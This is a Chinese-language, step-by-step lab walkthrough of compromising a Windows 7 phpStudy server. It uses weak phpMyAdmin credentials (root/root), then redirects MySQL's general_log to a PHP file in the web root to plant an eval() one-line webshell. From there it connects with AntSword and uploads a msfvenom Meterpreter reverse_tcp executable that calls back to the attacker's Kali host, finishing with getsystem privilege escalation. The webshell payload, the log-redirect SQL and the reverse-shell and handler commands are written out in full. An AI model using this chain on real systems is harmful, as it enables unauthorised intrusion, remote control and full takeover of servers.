环境准备:win7,phpstudy(包含phpmyadmin,可用旧版)
开始攻击:
通过弱口令,信息收集,爆破等方式获知phpmyadmin的账号密码是root root
开始登录目标机器上的phpmyadmin
2.检测MySQL全局变量(generallog、generallog file)的值。
在SQL处输入sql语句: SHOW VARIABLES LIKE ‘general%’
看到general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。
已知general_log默认是关闭的,log日志存放的位置如图所示
开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在如图所示的一个log文件中,其实就是我们常说的日志文件。利用的思路是开启generallog之后把general_logfile的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。
这里需要知道网站目录,可以通过phpinfo信息查看得到。testshell.php是自己命名的用于存储新的log文件。
set global general_log = "ON";
- SET global general_log_file=’C:/phpStudy/PHPTutorial/WWW/testshell.php’;
然后插入一句话木马,继续执行:
select '<?php eval($_POST[cmd]);?>';
接下来在网页访问testshell.php查看日志写入情况
但是在浏览器中看不到存在一句话木马的信息,但实际上已经写入,从win7靶机可以看到
接下来利用蚁剑连接,可以连接成功
打开虚拟终端,执行whoami得到的是一个administrator权限,这里我重命名了(忽略)
接下来通过msf提权,首先生成exe木马文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.194.181 LPORT=4444 -f exe >testshell.exe
注:LHOST处ip是kali的ip
设置监听,准备得到shell(此处生成木马目的是为了shell传递到msf)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.194.181
run
然后通过蚁剑上传testshell.exe
在蚁剑虚拟终端运行exe,可以看到msf上得到shell
最后直接getsystem进行提权
这里我直接提权成功了,如果没有成功的话可以使用UAC提权等方式